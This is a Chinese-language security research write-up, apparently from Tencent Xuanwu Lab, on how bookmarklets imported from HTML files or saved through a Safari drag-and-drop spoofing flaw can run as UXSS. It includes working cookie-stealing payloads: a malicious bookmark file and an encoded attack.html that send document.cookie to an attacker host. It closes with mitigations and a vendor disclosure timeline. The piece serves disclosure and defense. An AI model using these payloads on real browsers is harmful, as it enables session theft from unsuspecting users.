作者:xisigr @騰訊玄武實驗室
原文鏈接:http://xlab.tencent.com/cn/2017/01/18/badbookmarklet/
0 引言
Bookmarklet,中文名可以翻譯成小書簽,它的存在形式和書簽一樣,都被保存在瀏覽器的收藏夾中。但它不是一個 HTTP、FTP、File 開頭的 URL,而是一段 javascript: 開頭的 javascript 代碼。1995 年 Javascript 的作者 Brendan Eich 特意設計 javascript: URLs 和普通URL一樣用于收藏夾,時至今日小書簽已經于瀏覽器中存在了 20 多年。
在這些年中瀏覽器以及WEB 上的攻防對抗風云幻變,也使小書簽上的安全風險漸漸大于它的業務實用性。從攻擊的角度來看,日漸復雜的應用場景、多樣化的攻擊手段層出不窮,使小書簽可以執行任意 javascript 代碼的這個特性演變成一了種攻擊手段。而在防御層面,CSP 的出現與普及,也似乎預示著小書簽的歷史使命走到了盡頭。
本文從在現代瀏覽器中導入和拖放小書簽,來介紹小書簽是如何變成一種致命攻擊手段的。
1 小書簽的歷史
“這是一個特意設計的特性:我在1995年發明 JavaScript 的時候發明了 javascript: 這類 URL,并打算使得 javascript: URLs 用法和其他URL一樣,包括收錄入收藏夾。 我特地把”JavaScript:” URL設計得可以在運行時產生一個新文檔,例如 javascript:’hello, world’ ,同時也可以在當前文檔的 DOM 下運行任意腳本(這點對小書簽尤其有用),就像這樣: javascript:alert(document.links[0].href) 。 這兩者的區別就是,后者的URL在JS解析下值為 undefined。我在 Netscape 2 投入市場前加入了 void 操作符來清除任何非 undefined 的 javascript: URL 的值。”
——Brendan Eich,寄給 Simon Willison 的郵件
以上是 JavaScript 的發明人 Brendan Eich 說明小書簽來歷的一段話,引自于維基百科?http://zh.wikipedia.org/zh-cn/小書簽 。 這20多年來瀏覽器小書簽也一直遵循著當年 Brendan Eich 對它的定義。
2 小書簽的正常功能
我們知道瀏覽器使用隸屬于<a>標簽的 href 的 URI 標簽來存儲書簽。瀏覽器用 URI 前綴,例如http:,file:,或是ftp:來確定協議以及請求剩余字符串的格式。
瀏覽器也能像執行其它前綴一樣執行javascript:。在內部處理時,當瀏覽器檢查到協議為JavaScript,就將后面的字符串作為 JavaScript 腳本來執行,并用執行結果產生一個新頁面。
例如這段小書簽,可以直接讓用戶進行 base64 編碼的轉換:
javascript:(function(){x=prompt('Text:','');l=x.length%3;if(l)for(i=1;i<7-l;i++)x=x+'%20';;prompt('Output:',window.btoa(x));})();
而下面這段小書簽則會在用戶的當前域彈出 cookie:
Javascript:alert(document.cookie)
3 小書簽上的安全風險
小書簽中可以寫入任意 Javascript 代碼,這使得寫入惡意代碼也成為可能。如果小書簽中是一段可以獲取用戶 cookie 并發送給攻擊者的代碼,那么當用戶點擊這段小書簽后,當前域的 cookie 信息就會被攻擊者獲取到。這個時候,小書簽即變成了 UXSS 的孵化器。如果設備之間瀏覽器開啟 SYNC,那么這段惡意小書簽也會同步到其他設備上去,使危害增大。
看起來以上的分析是可行的,但如何讓小書簽變得有攻擊性呢,因為用戶不會主動去寫一個惡意的小書簽,然后自己去點擊。而就算用戶自己在小書簽里自娛自樂的 Self-XSS 的彈個alert(1),又有何不可?
如果我們能找到一個場景,可以讓用戶無意在瀏覽器中注入惡意的小書簽。基于此想法,來看下面這個場景:
- 用戶在保存書簽的時候,就認為書簽是正確的。
- 在點擊書簽后也會導航到正確的網站。
如果上面2點能順利完成,且整個過程從表面來看沒有任何差錯和異常,那么用戶對這個小書簽基本上就不會去懷疑。下文我們測試的過程中,當用戶點擊了這個書簽,用戶的信息即被攻擊者獲取到了!
4 導入和拖放惡意小書簽
4.1導入惡意小書簽
在現代瀏覽器中,都有了書簽導入導出的功能。我們可以把書簽導出為 HTML 文件,并能隨時把 HTML 的書簽導入到瀏覽器中。另外,不同瀏覽器之間也可以互相導入。
例如導入如下書簽文件,你可以把它保存為 bookmark.html,然后導入到瀏覽器中:
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Bookmarks</TITLE>
<H1>Bookmarks</H1>
<DT><H3>xss Bookmarks</H3>
<DL><p>
<DT>
<DT><H3>xss_test</H3>
<DL><p>
</DL><p>
<DT><A HREF="javascript:document.write('hack by xisigr');">xss0</A>
<DT><A HREF="Javascript:alert(document.cookie);">xss1</A>
<DT><A HREF="javascript: var b=document.createElement('script');b.src='http:// attackip /get.php?cookie='+escape(document.cookie);document.body.appendChild(b);setTimeout(%22location='http://www.google.com'%22,1000);">google</A>
</DL><p>
</DL>
在我們測試過程中,Chrome/Firefox/Safari/Opera 這四款瀏覽器可以直接導入 bookmark.html 小書簽,導入的過程中沒有任何提示。IE無法導入這樣的小書簽,導入時會提示錯誤而中斷。
小書簽的自身特性,決定了上面的這三個小書簽,在用戶點擊的時候,可以直接在當前 DOM 下渲染執行。如果當前域是 gmail.com,那么就等同于是在 gmail.com 域中插入了一段 Javascript 腳本,并運行它。
于是,我們有了如下的攻擊場景:
- 攻擊者在網上共享了一個書簽文件 bookmarks.html(注入了惡意代碼)
- 用戶看到書簽不錯,下載下來.
- 用戶把書簽 bookmakes.html 文件導入到瀏覽器中。
- 在已經打開任何域的情況下,打開書簽,書簽中的惡意 javascript 代碼就會注入到當前域下。一個 UXSS 攻擊就發生了。
4.2 拖放惡意小書簽
除了導入書簽文件外,還可以使用拖放的方式來保存書簽。
我們Safari瀏覽器中找到一個真實的小書簽攻擊案例。整個場景將在 MAC+IPad 環境下進行,為了體現攻擊效果,我們在攻擊場景中加入了設備之間的 SYNC,在這個攻擊過程中,利用了一個 Safari 瀏覽器的拖放書簽欺騙漏洞,來欺騙用戶把惡意的小書簽保存到收藏夾中,這個小書簽保存后名稱會顯示 google.com,點擊后也會到達 google.com,整個攻擊過程非常隱蔽,很容易欺騙到用戶。假設用戶已經在 MAC、IPad 中打開了 Amazon 和 Gmail。那么當用戶點擊 google.com這個書簽導航到 google.com 后,Amazon 和 Gmail 的 cookie 就被攻擊者獲取到了。
這個攻擊場景如下圖:

- 用戶拖放鏈接保存為書簽。
- 設備開啟同步后,書簽也會保存到其他設備上。
- 當用戶點擊書簽后,當前域的 cookie 會發送給攻擊者。
第一步很關鍵,用戶拖放鏈接保存為書簽。這里會用到一個 Safari 瀏覽器拖放書簽的欺騙攻擊。先簡單說下這個欺騙漏洞的原理,把如下代碼保存為 attack.html。
<div draggable="true" ondragstart="event.dataTransfer.setData('text', 'http://baidu.com/#/google');"><a href=http://www.google.com>google.com</a></div>
用 Safari 打開后,鏈接會顯示 google.com,用戶點擊后會指向 google.com。但用戶拖放這個鏈接保存為書簽時,拖放的內容會被替換為 http://baidu.com/#/google ,而保存到收藏夾后,由于 Safari 收藏夾的設計特點,會取 URL 中最后“/”后面的字符作為書簽的名字,所以書簽的名字將是 google。那么在整個保存為書簽的過程中,用戶看到的始終是 google,所以不會對此次拖放保存書簽有懷疑。當用戶點擊書簽鏈接時,由于鏈接中加入了 #,所以 URL 會忽略掉#后面的內容,直接轉向到了 baidu.com。這可以看做是一次重定向攻擊。
了解完書簽拖放欺騙的原理后,我們就來看一個真正的攻擊,這次拖放替換的內容不是一個 URL,而是一個 javascript: 開頭的小書簽。可以直接在當前域下注入任意 javascript 代碼。一個 UXSS 產生了。
將如下代碼保存為 attack.html 代碼:
<div draggable="true" ondragstart="event.dataTransfer.setData('text', 'javascript:%76%61%72%20%62%3D%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%62%2E%73%72%63%3D%27%68%74%74%70%3A%2F%2F%78%69%73%69%67%72%2E%63%6F%6D%2F%32%30%31%35%74%65%73%74%2F%67%65%74%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%27%2B%65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3B%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%62%29%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D%27%22%2C%31%30%30%30%29%3B/#/google');"><a href=http://www.google.com>google.com</a>
</div>
編碼部分的代碼為:
var b=document.createElement('script');b.src='http://xisigr.com/2015test/get.php?cookie='+escape(document.cookie);document.body.appendChild(b);setTimeout("location='http://www.google.com'",1000);
演示視頻: http://v.youku.com/v_show/id_XMTQyMzQ5NDg0MA==.html
5 CSP的出現使小書簽消亡
自從內容安全策略(Content Security Policy,簡稱 CSP)開始被提出,這些年逐漸被各大瀏覽器廠商支持和認可,也預示著小書簽的歷史使命走到了盡頭。
大家知道 CSP 是為了防止 XSS 而設計,默認配置下不允許執行內聯代碼(<script>塊內容,內聯事件,內聯樣式),以及禁止執行eval(),newFunction(),setTimeout([string], …)和setInterval([string], …)。
內聯 Javascript 不能運行,不能加載外部資源,這些限制都使得小書簽將不能正常工作。就此問題,Firefox 的 bugzilla 社區中曾有過白熱化的討論,https://bugzilla.mozilla.org/show_bug.cgi?id=866522,其中有一個對狂熱的書簽使用者說道:
作為一個“超級用戶”,我非常依賴我的書簽工具和 Greasemonkey 的用戶腳本來執行各種功能和特性,在各種網站(加入了 CSP 防御),書簽中的腳本無法使用,現在這個的問題,非常惱人,困然了我好幾個月。安全性顯然是重要的,但是,作為最終用戶,我應該永遠有控制和瀏覽體驗的絕對權力,并且幾乎能夠做我想做的。
而另一篇文章,則直接寫到Bookmarklets are Dead… https://medium.com/making-instapaper/bookmarklets-are-dead-d470d4bbb626
在我們寫這篇文章時,Firefox/Edge 瀏覽器中,小書簽作為內聯JS是不可以運行的,Chrome/Safari 瀏覽器中則是可以的。這是不是也可以認為小書簽繞過了 CSP 呢?
6 建議
其實對于Javascript:URLs這樣的用法,瀏覽器廠商也已經開始意識到它在特殊場景下所帶來的安全風險。比如在之前的瀏覽器中,用戶可以直接粘貼Javascript:URLs到地址欄并運行,但現在 Chrome /Firefox/Edge 瀏覽器會直接把Javascript:這個協議關鍵字去掉。
但對于小書簽中可以直接執行 Javascript:URLs,瀏覽器廠商始終保持一個較為保守的態度,畢竟小書簽已經伴隨瀏覽器 20 多年。對此,我們對小書簽的使用,提出幾點安全建議,可以暫時緩解小書簽帶來的安全風險:
瀏覽器廠商方面:對小書簽的內容和權限進行顆粒度更細的控制。比如從文件或其他瀏覽器導入小書簽時,嚴格過濾小書簽內容,對可疑小書簽彈出風險提示。
安全廠商方面:可以推出檢測小書簽的瀏覽器插件等。對惡意小書簽,彈出預警提示。
用戶方面:不要隨意導入第三方小書簽,明確導入的小書簽功能是什么。
7 廠商回復
Chrome
2015/04/13:向 Chrome 報告瀏覽器小書簽安全問題
2015/04/13:Chrome 答復小書簽上面的安全問題,他們在內部也討論了很多次,目前來看小書簽的實用性大于它帶來的安全風險。
截至發稿時,并沒有修復小書簽可能涉及的安全風險。
Firefox
2015/04/13:向 Firefox 報告瀏覽器小書簽安全問題
2015/04/14:Firefox 回復他們認為導入書簽時,應該有個風險提示。還認為惡意書簽的釣魚、重定向攻擊也是很嚴重。
截至發稿時,并沒有修復小書簽可能涉及的安全風險。
Safari
2015/04/13:向 Apple 報告 Safari 瀏覽器小書簽安全問題
2015/04/21:向 Apple 報告 Safari 瀏覽器書簽拖放欺騙
2015/12/02:向 Apple 提供詳細漏洞視頻
2015/12/25:詢問 Apple 處理漏洞進度
2016/01/27:Apple 回復正在調查中
截至發稿時,沒有任何回復,并沒有修復小書簽可能涉及的安全風險。
8 參考
[1]?http://zh.wikipedia.org/zh-cn/小書簽
[2]?https://bugzilla.mozilla.org/show_bug.cgi?id=866522
[3]?https://medium.com/making-instapaper/bookmarklets-are-dead-d470d4bbb626
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/187/
暫無評論